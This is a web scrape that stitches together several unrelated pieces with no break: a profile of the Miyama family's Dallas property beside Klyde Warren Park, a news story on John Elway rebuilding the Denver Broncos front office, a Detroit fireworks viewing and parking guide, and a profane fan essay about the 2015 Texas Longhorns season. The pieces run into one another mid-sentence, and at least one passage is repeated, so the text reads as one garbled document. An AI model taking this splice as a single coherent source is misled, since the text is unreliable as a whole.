In 2006, Takeharu sold The Shelton to Dunhill Partners. The Miyamas used the proceeds to buy a two-building industrial complex off Interstate 35 and 1909 Woodall Rodgers, as well the motor bank. Instead of the Uptown building, Takeharu had considered the newer, larger St. Paul Place on Ross Avenue, on the other side of the Dallas Museum of Art. But he had heard rumors about plans to build a deck park over Woodall Rodgers. He took the gamble.
At first, it appeared he might have made the wrong choice. Not long after he bought the office building, its lead tenant went out of business, and occupancy dropped to 30 percent. The Miyamas talked with several real estate brokerages, looking for leasing support. They decided to skip the big firms and go with an upstart, Pillar Commercial, led by Manny Ybarra. “We both were building our family businesses,” Sawako says. “We have grown together, purposefully.”
As Ybarra got to work, Dallas citizens approved $20 million in bond funds for the deck park, and interest in 1909 Woodall Rodgers took off. Today the building, known as Miyama Parkside, is nearly fully occupied. Ybarra says the enigmatic Miyamas are a rarity in the industry. “They’re very humble and very private and extraordinary in the character and ethics,” he says. “Any business relationship they have doesn’t exist as a business relationship. It’s a personal relationship, and business is a component of that. You don’t need a contract with Mr. Miyama; his word is his bond.”
Takeharu constantly seeks out opportunities to learn, Ybarra says. A few years back, when he heard the former U.S. Post Office and Courthouse building on North Ervay Street was going to be converted into residences, Takeharu leased space in the building so he could watch things unfold. “He will literally spend hours, days, weeks, months completely immersed in a project,” Ybarra says.
Takeharu is putting that same kind of deep contemplation into the redevelopment of his Uptown jewel. “He’s not thinking about the investment but about being a good neighbor,” Ybarra says. “It’s not about extracting every nickel out of the project but doing what’s best for Dallas and the generational legacy of his family.”
•••
In late April, Phil Puckett stands on the roof of 42-story Museum Tower in the Arts District, pointing a camera at Uptown. An executive vice president at CBRE, he has done more than 5 million square feet in lease deals over 25 years in and around this area. From the rooftop, he can see new projects in various stages of construction that his clients have helped kick off. There’s McKinney & Olive, a 20-story, César Pelli-designed building anchored by leases from Gardere and McKinsey & Co.; The Union Dallas, a mixed-use project at Field Street and Cedar Springs Road that will serve as Vinson & Elkins’ new home; and Park District, a 900,000-square-foot development anchored by a 200,000-square-foot office for PWC. In all there’s about $1 billion in new development underway. And it all springs from the park.
“Klyde Warren Park is the new epicenter,” Puckett says. “Everything revolves around proximity to it.”
When it opened, in October 2012, commercial properties that overlooked what used to be the concrete ditch of Woodall Rodgers Freeway went from having the worst view to the best view. New developments took advantage of the rare downtown green space, and existing properties reoriented, to the extent possible. Among them is the Dallas Museum of Art, which is getting a new $4.3 million north entrance that will open this year. Office lease rates in Uptown and the Arts District have gone up between 32 and 64 percent. Values of parkside properties have jumped by as much as 60 percent, and land prices have skyrocketed, too. Trammell Crow Co. and MetLife paid about $390 per square foot last summer for its Park District site between Pearl and Olive streets. “On the very best day, that previously may have traded for about $150 a foot,” Puckett says. “It’s the highest land price ever seen in the Uptown district.”
The Miyamas bought the property for $10.5 million in 2006. Today the land alone is worth double that. Its value will increase even more if Klyde Warren Park is expanded, as supporters hope it will. From Puckett’s Museum Tower vantage point, one commercial property stands out: Miyama Parkside. In the last couple of years, he has brought several large tenants to the Miyamas, asking them to propose a new development deal. At one point, the family had drawings created for a new 150,000-square-foot office building that would be built on the site of their adjacent motor bank. One of Puckett’s tenants would have taken two-thirds of that. But the Miyamas declined to bid on the project. “It was a very short conversation,” Puckett says. “What owner would pass on an opportunity to have a 100,000-square-foot tenant?”
Ideally, the five-story building and motor bank would be razed, making way for a mixed-use complex like Park District or The Union, Puckett says. The Miyamas bought the property for $10.5 million in 2006. Today the land alone is worth double that. Its value will increase even more if Klyde Warren Park is expanded, as supporters hope it will. Preliminary plans call for a westward extension to North Field Street, with a sky bridge that would link to the Perot Museum of Science and Nature.
“Without a doubt, it’s the last premier site left for redevelopment,” Puckett says of the Miyama property. “It’s really the last one standing. Sometimes I walk by and look at it in frustration and think, ‘Dang. That could be so cool.’ ”
•••
On his first day on the job at Miyama Globuiss, in October 1976, Takeharu wore a suit to the office. His father handed him a hard hat and told him to go work in the fields, saying, “Instead of giving you a fish, I’m going to teach you to fish.” Humbled, Takeharu stepped back and became a student, soaking up the lessons his father taught. One of the most profound was that development should not be about what makes the most money. His father said, “It’s our responsibility to develop the land in a way that makes our town a better place to live.” The first step is to see what is lacking for the people in the area, Takeharu explains. Maybe it’s a grocery store. Maybe it’s a bank. Maybe the town is aging, and it needs apartments to attract younger people. “If you do what is right for the town, you will be successful,” he says.
Four decades after learning that lesson, Takeharu hasn’t forgotten it. That’s exactly what he intends to do with Miyama Parkside. Any redevelopment will be done “within our capacity,” he says. Partnering is not an option. Although he’s still mulling over the big picture, he has thought about some of the smaller details. Looking at the needs of the neighborhood, he thinks the project should include both a day-care center for parents who work in Uptown and public restrooms for families who visit Klyde Warren Park. The restrooms would have three donation boxes, he says, benefiting the Woodall Rodgers Park Foundation, Texas Scottish Rite Hospital for Children, and SPCA-Dallas. “Imagine 10,000 people giving a dollar instead of one person making a $10,000 donation,” Takeharu says. “It would give people a way to be a part of something and contribute. We are trying to start with what we can do to contribute to the city.”
Takeharu also feels a responsibility to be a link between North Texas and Japan—a relationship that’s only going to grow with the move here of Toyota’s North American headquarters, new direct flights to major Asian cities from Dallas, and the potential of the proposed bullet train between Dallas and Houston (something he says will completely change the dynamics of mass transit in the region). A number of cultural differences between the two countries persist. The United States has a hunting culture, going after a target, Takeharu says. The Japanese are more like farmers, staying in the same place, helping each other, patiently waiting for crops to grow. But there are also strong similarities, especially in Dallas, where the commitment to giving back is strong, as demonstrated by the way so many people came together to support Klyde Warren Park.
Forty years after the bike trip that changed his life, Takeharu stands in the center of that park, reluctantly but graciously posing for photos and looking around at the city he has come to love. He gets back to Dallas every other month or so, and still sends his daughter weekly handwritten notes on yellow legal pads. Sawako and her husband, Ryota, who’s also from Japan, have a 5-year-old daughter and a newborn son. They’re starting a new Miyama dynasty in America.
“We are focused on laying the foundation for the next generation,” Takeharu says. “We want to build something that will last a very long time.”Elway could have lived out his retirement, raking in money and enjoying the life of this city's biggest celebrity, athletic or otherwise. Instead, he has chosen to get back into the football life.
John Elway's acquisition of Peyton Manning is a big reason the Broncos are in first place in the AFC West. (Photo11: Ron Chenoy, US Presswire) Story Highlights Elway's hiring was viewed by some as a PR move
His first move was to hire coach John Fox
Personnel moves beyond Manning and Tebow worked as well
ENGLEWOOD, Colo. — Drive through the streets of Denver, and John Elway is seemingly everywhere.
His name adorns decals on the back of Chevrolets purchased at his three local dealerships. The Cherry Creek steakhouse that bears his name the place to be seen for after-work drinks. His face is on billboards, his voice on radio commercials.
Elway could have lived out his retirement here, raking in money and enjoying the life of this city's biggest celebrity, athletic or otherwise.
Instead, he has chosen to get back into the football life, with early mornings and late nights in the office and frequent scouting trips to small college towns. In his second year at the helm of Denver Broncos' front office, he is proving to be as equally adept at building and running a team as he was in playing for one.
"I've never wanted to disappoint anybody that's entrusted a position on me, whether it was as a player, or the role I'm in now. That's the challenge, and that's what makes me tick – that I want to be good at it." Elway told USA TODAY Sports. "When I got this job and heard the criticism of, 'Oh he's not ready' it was something I was used to, and I used it as an incentive to be able to be good at what I do."
In the 22 months since he was hired as executive vice president of football operations, Elway has taken the Broncos from the franchise's lowest point following their 4-12 season under Josh McDaniels and re-crafted the Broncos' roster to fit his vision. Of the 31 players who have started for the Broncos this season, 23 were drafted, signed or re-signed by Elway.
"In a very short period of time, it's become pretty evident how talented we are on the football field," said veteran linebacker Keith Brooking, who signed with the Broncos in August. "He's done a great job of that."
Elway pulled off the biggest coup of the offseason when he convinced superstar quarterback Peyton Manning to sign with the Broncos. He then traded away popular quarterback Tim Tebow to the Jets for a pair of late-round draft picks.
Brennan: Let Tebow play!
Elway said he believes moving on from Tebow to a more traditional quarterback was the right move.
"I believe that there are Tebow fans, and there are Broncos fans," he said. "My responsibility is to the Broncos fans, and my responsibility is to (owner) Pat Bowlen and what he wants to do, and that's win championships. "
Manning appreciated Elway's perspective on how to win as a quarterback in his late 30s when the two met in March. Once Manning became a Bronco, their conversations continued, and Manning said he has seen Elway take input on personnel moves from everyone to assistant coaches and even players.
"Sometimes people don't want to hear anyone else's thoughts, but John listened," Manning said. "He's got to make the call, but I think if John hears a good idea, and he agrees, he's going to move on it. To me, that's working together as a team."
Risking his legacy
Eight months later, Dove Valley largely drama-free for the first time in years, and the Broncos, at 6-3, seem destined for the playoffs. A win Sunday against San Diego would give Denver a three-game lead in the AFC West before Thanksgiving.
Those two moves only reinforced that Elway's return to the Broncos was far more than a public relations move for a franchise that had seemingly lost its way.
"My reputation probably had something to do with it. With where the organization was at that time, it needed a little boost, and I'm sure that had a lot to do with it also. And then I lacked experience at that level, so they were taking a big step with me, a risk with me," Elway said.
Indeed, the move was a gamble – both for the Broncos, and for Elway, who risked damaging his pristine legacy in this city.
"It was huge, and I respect that. He didn't have to do this, but he's a competitive guy. He didn't do it because he needed the money," Broncos coach John Fox said. "There is no doubt that he put himself out there. There is a lot of criticism that comes with this position, and I have great respect for that."
Elway, despite his Hall of Fame career as a player, had spent more than a decade largely disassociated from the Broncos. He bought an Arena League team, the Colorado Crush, and served as CEO for six years, but had no scouting or management experience at the NFL level. His experience with the Crush taught Elway that he wanted a bigger role with the Broncos, even though throughout the 2000s he was unsure if that opportunity would ever come.
BAD SLIDE: Manning takes flak for ugly play in Carolina
Longtime coach Mike Shanahan was fired in 2008, and McDaniels' disastrous tenure lasted only 28 games. For Bowlen and team president Joe Ellis, hiring Elway was an easy decision, even if the move wasn't widely viewed as a slam dunk.
"He has tremendous knowledge and understanding of football, the NFL and what the Denver Broncos represented in our community. It was a deep resume, and people over looked that," Ellis said. "They'll say he hadn't earned it, hadn't paid his dues. I heard that. Trust me, he was ready to do this job."
Certainly the failures of other players-turned-executives hurt Elway's cause. Dan Marino, Elway's quarterbacking peer, lasted only two weeks in charge of the Dolphins. Matt Millen became a punch line as general manager of the Detroit Lions. Michael Jordan never came close to matching his playing success in his management endeavors.
So why would Elway be more like Ozzie Newsome, with the Baltimore Ravens, or Jerry West with the Los Angeles Lakers, than Millen?
Ernie Accorsi was the general manager of the Cleveland Browns for part of Newsome's Hall of Fame playing career, and hired him as a scout in 1991. Ellis asked Accorsi to talk to Elway after Elway accepted the Broncos' job, and Accorsi said it was apparent to him that Elway and Newsome had plenty in common.
"Certain players that play with their eyes open. They don't have tunnel vision. Ozzie used to evaluate my drafts when he was a player. John must have done that, too," Accorsi said. "John, with all his fame, probably had a bigger obstacle to overcome. He had to convince people that in his own right he could be a good general manager. Those PR moves don't last very long after the press conference is over. It turns out they knew exactly what they were doing."
John Elway, right, brought Peyton Manning to Denver on March 20, then quickly dealt away Tim Tebow. (Photo11: Ron Chenoy, US Presswire)
Building trust
Elway's first move was to hire a head coach to replace McDaniels. In Fox, Elway chose a man who appeared to be the opposite of the young and notoriously prickly McDaniels : Fox had nine years of head coaching experience, and a reputation of being a coach players loved to play for. They clicked immediately, and the partnership appears to be flourishing. Fox gives his input on personnel matters; Elway offers opinions on what he called "conceptual" football ideas, but they largely let each other run their areas of the organization without interference.
Much of the rest of the Broncos staff has remained intact, though the team fired general manager Brian Xanders just after the 2012 draft. With Elway growing comfortable in his role, the elevation of Matt Russell to director of player personnel and the addition of Mike Sullivan to oversee contract negotiations and the salary cap, Xanders became expendable.
Now, there is little question that the current Broncos team is a reflection of Elway. He scouts for players he would have liked to share a locker room, guys he would like to play with on offense or hated playing against on defense. After about six weeks on the job, he made his first significant player decision when he re-signed cornerback Champ Bailey just before he was set to hit the market.
"Players had to start understanding that we were going to keep the guys that were loyal to this organization and were great players. They had to start having some trust in us as a front office that we were going to start doing the right thing and keeping the right guys. Champ was the guy," Elway said. " The guy that we could hang our hat on and start building around him."
Manning is the headliner on Elway's crop of players, but plenty of other under-the-radar signings have made important contributions, from re-signing linebacker Wesley Woodyard in March (he now leads the team in tackling); signing free agent center Dan Koppen in mid-September (he now starts after J.D. Walton suffered a broken ankle); signing Brooking, 36, during training camp (he unseated starter Joe Mays in October); and claiming kick returner Trindon Holliday off waivers from Houston in October (he scored in each of the previous two games).
The job hasn't come without hasn't been without criticism, especially late last season, when Elway repeatedly declined to endorse Tebow as the Broncos' long-term solution at quarterback. Other personnel moves failed, notably the signing of defensive tackle Ty Warren, who played only five snaps in two seasons because of injuries, yet collected $5.5 million.
His first draft of 2011 appears to be a success, with No. 2 pick Von Miller emerging as one of the league's best defensive players, and three others from that class currently starting. He was criticized for moving out of the first round in 2012 to select defensive lineman Derek Wolfe and quarterback Brock Osweiler in the second round. Wolfe has started every game, but Osweiler (at least the Broncos are hoping) won't contribute for years.
" We want to build something that's going to be solid and be competitive year in and year out," Elway said. "If you look at the good teams and what they've done, they've stacked drafts, and that's really what the goal is: Stack drafts, add smart players through free agency and keep getting better."DETROIT - Thousands will line the streets and fill the parks near the Detroit River on Monday, June 26 for the massive Ford Fireworks display.
The 59th annual event put on by The Parade Company is scheduled to begin at 9:55 p.m. and will be broadcast on WDIV.
Here's what it looks like when crews prepare the fireworks on the river:
And here's a guide to viewing locations, parking and road closures for the show:
VIEWING AREAS
The city recommends Hart Plaza, Belle Isle, Mt. Elliott Park, Owens Park and Erma Henderson Park as the best sites from which to view the display. Riverside Park and the RiverWalk will close.
Check out the 1-minute version of Detroit's Ford Fireworks display Thousands flocked to Downtown Detroit's Hart Plaza on Monday night to watch one of the world's largest fireworks displays.
Here's are the rules set by city officials for the day of the display:
Hart Plaza
Hart Plaza will be open to the general public, but pedestrian set-ups and/or gatherings will not be permitted before 2 p.m. Monday.
Entry to Hart Plaza will close once it has reached desired capacity. There is no re-admittance once you leave Hart Plaza.
No tents allowed.
No alcohol, drones, pets or contraband (weapons, knives, etc.) will be allowed.
Flames or fires are prohibited, and cooking is prohibited.
Reserving an area in excess of the number of people currently in the group is prohibited.
Coolers and backpacks will be searched.
Belle Isle
Belle Isle will be closed until 2 p.m. Monday. At that time, the island will open to vehicular traffic.
Motorists will need the Recreation Passport to enter the island. The passport, which is only needed for vehicles, may be purchased at the entrance for $11. The passport is $9 for out-of-state and international visitors for the day, and $32 for the year.
Once island capacity is reached (3,000 vehicles), no additional vehicles will be admitted to the park.
The Island will open at 5 a.m. to pedestrians and bicyclists.
Alcohol consumption is prohibited on the island.
Tents and canopies should be 10 feet by 10 feet or smaller with no more than two tents or canopies per group.
RV parking will be on the paddock area near the Casino.
Consumer fireworks are prohibited on the island.
Ford becomes lead sponsor of Detroit fireworks scheduled for June 24 The fireworks spectacle – scheduled for 10:06 p.m. June 24 – will now officially be called The Ford Fireworks presented by Target, according to officials.
PARKING
The Municipal Parking Department won't enforce parking meters after 5 p.m. Monday, but drivers should avoid improper parking, parking in front of fire hydrants and bus stops, blocking driveways and parking in designated zones such as handicap zones without proper credentials.
Watching fireworks from any parking facility and tailgating are prohibited.
Here are the facilities the city recommends:
Ford Underground Garage 6 a.m. to 2 a.m. $10
30 E. Jefferson
Joe Louis Arena Garage Noon to midnight $10
900 W. Jefferson
Millennium Garage 24 hours $10
432 W. Congress
Premier Garage 7 a.m. to midnight $10
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Why not us?" The crash back down to earth was speedy and violent. Suddenly, I was caught somewhere between my pre-season high and the reality of what I was witnessing in real time and, worse, what it meant for the rest of the season. All of the hype videos that were still echoing in my head now clashed with the incompetence unfolding on the field. The TCU and Arkansas that had become distant nightmares from a season ago erupted back into my mind and eviscerated my vast stores of sunshine as yet another broken football team assembled in front of my eyes. And for the first quarter of the football season I just stared blankly at the TV. Unable to process. Unable to rationalize.
The defense had too many new faces to pick up where they left off but the offense sure as hell did. To say they didn’t miss a beat would be assuming there was any rhythm to begin with. We were told there would be changes. We were told the offense would be overhauled. I spent an entire offseason defending Swoopes and here he was doing the same shit I saw last year. Our young defense fought hard but for a unit that lost as much as we did to the draft and graduation there’s only so much a group of young men can do when most of them 6 months ago were at their high school prom now facing a veteran team eager to make their national title run statement.
We were making plays. That Malik Jefferson hit on the Notre Dame running back where he came clean off the edge and delivered the full force of his potential brought me out of my seat. And it injected a little bit of hope that we might be able to pull this off. But then the definition of insanity that was our offense would trot back out to take the field. Do the same thing over and over and over again expecting different results. Somehow… it was only 17-0 at the half.
It was at that point when the frustrations gurgled up from under the sunshine. Who’s to blame? Swoopes? Strong? And then they showed him on the screen. Watson. A man that I defended alongside Swoopes all offseason under the premise "Let’s wait and see". We waited a whole offseason and at halftime of our very first game I didn’t want to see another minute of this offense. Ever again. You want to talk about reasons "Why not us?" well one was at the top of the list and had a name. Shawn Watson.
This… "overhauled offense" we heard so much about was just Watson’s shitty playbook sped up. Feces at hyper speed slamming into the Notre Dame defense over and over. So much hope was lost on Swoopes and transferred to Heard and that offense ended up getting him hit so hard in his first collegiate game on the road that it still makes me cringe. At the end of the third quarter I wish I could’ve fast-forwarded the rest of that merciless beat down of a football game. I had this short Notre Dame douchebag buzzing around me trying to provoke some sort of illicit reaction out of the lone Texas fan in the bar. But what could I have said? Feces on fast forward produced 8 first downs, 163 total yards, and 3 lonely, cold points in September. Our young defense had to endure 39 minutes of growing pains from start to finish. 30 first downs, 38 points, 527 yard of total offense and apparently had developed a severe allergy to getting off the field on 3rd down. It’s a wonder they didn’t score 50 on us. But I knew at some point someone on our schedule would.
The proverbial cherry on top on what was essentially an assault and battery on the entirety of the Texas Football Program was the smug "better luck next year" I was inundated with from the shit eating grin laden mouths of the Notre Dame faithful as I paid my tab. It was obvious. They already had the W next to @ Texas 2016. All I was thinking was… "Where’s my fucking pitchfork?" I found it. Dusted it off. Began to sharpen. And laid in wait for Monday. The burning fires that had been raging across the various Texas sites after last season burned hotter than ever. We, as a program, had arrived at the point where the discussion of firing a head coach in the first game of his second season was a reality. Sadly… there was cause. What rolled in to South Bend was inexcusable. Why it rolled in to South Bend is even more inexcusable. Watson was responsible for turning around things for Strong at Louisville and produced Teddy Bridgewater so I’m not really at liberty to fault a man for sticking to what worked. But it was high time to admit that this square peg-round hole methodology of shoving Watson’s playbook down our players throats when it was producing an offense that quantifiably gave us zero chance to simply compete in games needed to be sent somewhere far away.
If Strong is to fail at Texas I will look to the retention of Shawn Watson after last season as a valid reason as to why. But as he took the podium at what was supposed to be Watson’s press conference I knew that the bleeding was about to receive medical attention… to the tune of a demotion. As necessary as it was… as relieved as I was it was still frustrating to see. An entire offseason wasted during a crucial period in the Strong era. The dreaded "Interim" tag now next to our Offensive Coordinator. Which meant that a total reset of the offense for the 3rd time in 3 years was imminent. It solved a part of a larger problem but provided no substantive answers to what was going to win us games in the Big 12 for the long term. And it fucking sucked.
With a pseudo-sense of a "new season" in place, we could look ahead to the rest of the schedule through a filter of stale, embittered optimism. The QB competition was again reopened to the collective eye roll of the Texas faithful. Texas hasn’t won an internal QB competition in 5 years so it kind of makes sense why our QBs can’t win against an opponent on a consistent basis. But hey… we had a familiar punching bag to work out the kinks and see what this Norvell guy can do. So long, Shawn Watson. Hello, Rice.
And hello, Jerrod Heard! (For now… ahem). The potential breaking point for me as a fan this season came down to a 3rd and 11 on our first possession. Watson was gone but the first two plays I saw were the up-tempo garbage that only accumulated in a pile of dust, negative yardage, and a looming 3-‘N-Out in 23 seconds I’ve become so accustomed to. Then that long stride glided out of the pocket, cleared the corner, cut up the sideline and left 90% of the Rice defense behind. Heard’s 35-yard scamper sparked at the very least my ability to watch the rest of this game. The 10-yard block in the back penalty left me gnashing my teeth a little however... The very next play I was reminded why I invest so much emotion into watching Texas football. A touchdown. I hadn’t seen a viable Texas touchdown in a game since November 15th of 2014 against Oklahoma State. And by that I mean I hadn’t seen us score against anything other than the second string defense in a game that was essentially over by halftime. At least for that game… they had been unleashed. Daje and Duke darting through Rice specials teams. Malik Jefferson hounding the Rice QB on seemingly every snap, living up to his nick name "The Predator". And the now iconic picture of him barreling into the end zone after his scoop and score makes me realize that we really got a special talent wearing No. 46.
Yet by halftime we were only up 7. And I found myself pacing around nervously. We’re playing Rice. Rice! I was batting away the "If we somehow lose to Ri-" with the help of the first half highlights. And knowing what inexplicable black hole was next wasn’t helping. The 3rd Quarter. A 15-minute stretch of time that has seen more 0’s in the box score than I care to go back and type out the actual stat. But this new-ish Texas offense came out and rattled off 21 unanswered. The defense still showed it’s extreme youth all over the field and my concern for that unit began to grow. I told myself if this game wasn’t a total lie then as long as we have Heard we can cover up for this young defense.
42-28. Actually watching the game you could rationalize what the box score said. The quick scoring. The special teams play. The bonehead pick-fumble-give it back to Rice series that Hall served up. The narrative was the same: A disparaging difference in time of possession. But the result was different. We actually scored and with ease. However, looking back on it the box score was indicative of what was to come. We gave up 462 yards, 30 first downs, and 228 yards on the ground. Rice held the ball for 44 minutes and 3rd down was still an Achilles ACL tear. But shit, if we can score 42 points on 277 total yards and 15 minutes of possession while special teams gets rolling we’ll be fine… Yeah, we’ll be fine.
Cal.
We’ll be fine. Even before this game I was nervous. I felt most of the fan base was over-looking the bears from Berkley because "It’s Cal…". But this one I knew wasn’t going to be the anticipated asswhooping of the hippies from out west. A potent offense of veterans led by arguably the top NFL QB Prospect in Jared Goff. And we’re throwing out an especially young secondary against that machine with a make shift offense in it’s second week of a square 1 rebuild to carry them. What could go wrong?
I keep referring to the season as a roller coaster. But this game was a microcosm of the emotional turbulence that left me a broken man. I was at a wedding for this game so I was instructed to be void of any burnt orange clothing, have sparse contact with any sports broadcast during the festivities and be on my best behavior. I wore my Texas socks so you can guess how the other two contingencies played out…
After gluing myself to the tiny TV in the kitchen with the reception in full swing out in the backyard, sweaty palms latched on to my khakis as the Cal offense took the field for the first time. Our defense was baby faced. And Goff was damn good. "Bend don’t break", I kept thinking. Much to my elation Cal would go 3-N-Out with their first crack at our porous defense. Our 3rd down allergy temporarily was subdued and they punted. However, Goff’s second time out proved to be video game-esque. A cool, calculated 11-play drive that resulted in 7 points that left me with the knowledge that we were in for a long night. Our offense had to come through and to be honest they did. What was most noticeable was that we seemed to be able to start un-fucking our fuck ups. A 45-yard strike from Heard on a wheel route to Daje on 3rd and 20 after a bad screenplay and a false start. All of the sudden the offense wasn’t so hopeless. I didn’t go into every possession knowing we wouldn’t do a damn thing. Cal had a really great offense but we were keeping pace with them. They would turn it over and we would score. We would turn it over and they would score. Finally… a game against good competition where we are actually competing. Texas would go into half time tied 24-24. All we needed to do was keep up and we’ll have a shot to win it at the end.
Ghosts of 3rd quarter past… The offense took a huge step back. 1 week was not long enough to exercise the demons. We put up another 0. They put up 21. As Goff carved us up like the beef tenderloin outside at the buffet that I was certain was either cold or gone by now. And with a minute and change in the 3rd I finally realized that we were down 45-24. With the ineptitude I had become so used to in full effect, the conditioned response that we were going to lose set in. I glanced outside at the party wondering if I should just go out and enjoy the rest of my night. But our offense took the field. Heard hit Foreman for 38 yards, a facemask penalty, and a 6-yard run by Gray and suddenly we were at the Cal 16. Well I’ll just see this last possession then I’ll-
3 plays later Heard’s electric scramble glued me back to my seat. I went from despondent to delusional in Heard’s 40 time and the 4th quarter had me screaming at the top of my lungs and running around. So much commotion made that people from the party came in to watch this game play out. It was exciting. It’s what college football is all about. Texas was fighting back and the momentum swing was a tangible force of will led by Jerrod Heard and this torched, battered defense playing the entire 4th quarter with their hair on fire. They had to stop dead something that had been rolling for 3 straight quarters. Cal ended the 4th quarter with 0 points. Heard made play after play despite the pressures he was seemingly trying to outrun with every scramble. And to seal it, a 3rd and 4 run that will forever put Heard in the record books regardless of how his career plays out at Texas. It was nothing short of a demi-god, Herculean effort to pull Texas football out of the purgatory it had been lamenting in for years. And he should have been allowed to enjoy just what a miraculous performance he pulled off.
While I was too busy running around the kitchen, hugging inanimate objects, knowing there was absolutely no way we would lose in overtime I kept hearing my name. Someone was softly repeating my name over and over. Trying to get my attention. Because maybe I should stop acting like a jackass. I look up at the TV and see Nick Rose unstrapping his helmet… The way kickers always do when they miss. Cal was going crazy. But… it was an extra point, what the- then I saw the replay. It started at the top of my head. The enraptured blood glowing in my cheeks and face drained into a pale ghost like look of pure, unfiltered horror. Followed by the audible plop where my heart rolled out from under my shirt and fell to the kitchen floor. Blood now soaking my Texas socks. I could not… believe… what… I had just… endured. THAT is not college football. To be robbed by something as trivial and mundane as an extra point after having done everything to claw back into that game. It took me several hours to accept that we had really lost THAT way. 1 point away from being 2-1 heading into conference play. It stung. And I missed out on beef tenderloin…
As tired as I am of moral victories and silver lining after this last season… Heard’s performance against Cal was something special to watch. Passing the likes of Vince Young for all time single game offense is nothing to sneer at. I will admit that much of what this team’s potential is and the glimpses I saw of what this team can be does induce a pained Bill Bellicheck-ian smile on my face. I got to see Heard break that record. But you know who else saw it? Oklahoma State and the rest of the Big 12.
To be honest… I don’t really remember much of the Oklahoma State game. Not because I was still drunk off of sadness (beer) from the Cal game. But because I spent most of it arguing with the OSU fans and anyone who would listen in the bar about the now infamous officiating. OSU paid attention to Heard’s explosive arrival to college football and proved fairly early on that it’s easier to stop him that I let myself believe. Heard was not invincible. No pun intended. Kind of. I knew after two games that sustaining an offense where our QB ran 20+ times a game was next to impossible. The arm strength he had demonstrated might not carry us either. Basically we had an elusive QB with a run first attitude, average arm strength, and used to beating people all by himself based on his talent. Jerrod Heard… meet contain defense. OSU laid out the blueprint that would go on to create the narrative of Heard as the starting QB in 2015. Keep him in the pocket, play sound coverage in the secondary for more than three seconds, and he will run right into the defense. Yet again Texas saw stacked boxes and could do nothing.
But for the first time all season our defense came to play. For the first time players not wearing 46 started making plays. The defensive line was mauling up front like we knew they could. Hassaan finally looked like the menace we were used to. The secondary, after being picked on for three straight games, finally made the QB pay with momentum shifting picks. Finally. The defense was keeping us in the game. However, that infuriating trend that plagued us all season where our defensive lineman couldn’t tackle a QB half their size was all too prevalent. We went into half time with a lead and then Texas started playing it’s second opponent for the day. The refs.
It’s been well documented and discussed. So I’ll refrain from going into further detail about that shit show. We all know what we saw. It was a decisive takeover of a game by an officiating crew to egregiously alter the outcome. Despite all of that we had a chance in the end to go to overtime and deal with Oklahoma State starting closer to the end zone. But as I was bitching about the calls by the refs the ball sailed over Dickson’s head and the panic once again set in my bones. He managed to somehow squib a wounded duck that all but insured an Okie State walk off win. For the second week in a row special teams play of Texas had ripped my heart out. As I watched the field goal sail through the uprights I wondered to myself… It seems as though Texas Football has to endure every possible losing scenario in the game before we get back to winning. We suffered a 2-for-1 in that game. Shady refs and a botched punt. So I guess we can cross those two off the list. 4 points from being 3-1.
TCU.
As much as I don’t remember about the Oklahoma State game I remember significantly less about the TCU game. Because I didn’t fucking watch it. Down 30-0 after 1 quarter and, yeah, I had about enough at that point. For the first time in a long time I stopped watching a Texas football game outright before half time. Apparently the team that went to Notre Dame was left in South Bend but managed to make it as far as Fort Worth while the team we saw for the last three weeks stayed in Austin. Incompetence. We managed to shoot ourselves in the foot at every single level of the game. We had botched punts covered last week at Oklahoma State. But botched punt-safety? Cross that one off. And that young defense was completely annihilated. We were out classed, out played, out coached, out everything’d. TCU was on pace for 120 points and they probably could have done it if they really wanted to. I shut that game off and went to the driving range. Every time I heard my phone buzz for another ESPN update on the game I’d slice the shit out of it.
Somewhere in the middle of this slaughter a young man made a very poor decision. Social media often leads to instant unfiltered stupidity and we got a dose of that. While getting spit roasted a player tweeted out while in the locker room. To A&M no less… Speculations of a fractured team started to flare up. Upperclassmen speaking out about the underclassmen thinking to highly of themselves only fueled the flames. Those flames making their way underneath the seat of Coach Strong. A national sentiment that he had lost his team in the wake of yet another blowout at the hands of the top-tier of the conference. Rumblings that he should just stay in Fort Worth. Fire him. At this low point of the season I began to worry for Coach Strong. I’m pulling for him like hell but what happened against TCU just can’t happen. Period. There was not much to be optimistic about with Texas Football.
54 points from being 4-1. Just kidding. But fuck all that… It was OU weekend.
My poor girlfriend… Choosing to be my partner means several things. You inherit my temperament, social awkwardness, morbid sense of humor… and Texas football. Her first experience of my rabid fandom was the BYU game in 2013. It ended up being delayed for several hours and moved to a different network. She even called Time Warner to pick up the channel that it was on because she could see how much I cared. But then she fell asleep. I didn’t want to reveal what a psycho Texas football could make me so I was left jumping up and down in silence watching Taysom Hill shred the longhorn defense. Sprinting out of the living room, roaring into towels in the bathroom, suppressing my rage down deep inside me as to not disturb the sleeping beauty I was trying to impress. That… was only a one-time gig. Too many times she has seen me devastated by the longhorns. She tries to understand and has even become quite the fan of the burnt orange herself. And after the first 5 games of this season I told myself… she needs a break. As an act of love I told her I would forgo the OU-Texas game tradition and spend the weekend with her at Disneyland.
In truth… Maybe I needed a break too. And being at a place like Disneyland during at what I thought was going to be another slaughter post-TCU I figured it might actually help when I finally check the final score and there’s Mickey Mouse to give me a big hug to console my grief in some nostalgic polyester embrace. Then I’ll ride the Whinney the Pooh ride 6 times and just have fun. Put that monumental amount of emotion that I invest in Texas football on hold for a weekend. But we all know that’s not possible…
It’s a 9 AM start time here on the west coast. We drove down Friday night to a hotel so we can maximize a full day at the corporate carnival. Before I went to sleep I set my internal clock to wake up at 8:55… My eyes opened, I carefully grabbed the remote, and turned on the TV. ESPN fills the screen at full volume. I quickly mash the volume button down while eyeing my still sleeping girlfriend. Excellent… I can maybe catch the first quarter.
And I was instantly rewarded. Rivalry games are funny things. You always hear it but it is so damn true… everything goes out the window. Whether the first 5 games were a master troll job orchestrated by Strong to lure the Sooners to sleep before this pivotal contest that felt like his immediate future at Texas was to be determined… I don’t know. But from the opening snap it seemed OU had switched bodies with Texas. Suddenly we were menacing. And they were feeble. The sweep pass to Marcus Johnson where he tip toed up the sideline and simply ran through the OU defenders to the end zone reminded me of the Tre Millard stiff-arm/hurdle video game sequence from a few years back. Somewhere Mykkelle Thompson was smiling… New York, maybe?
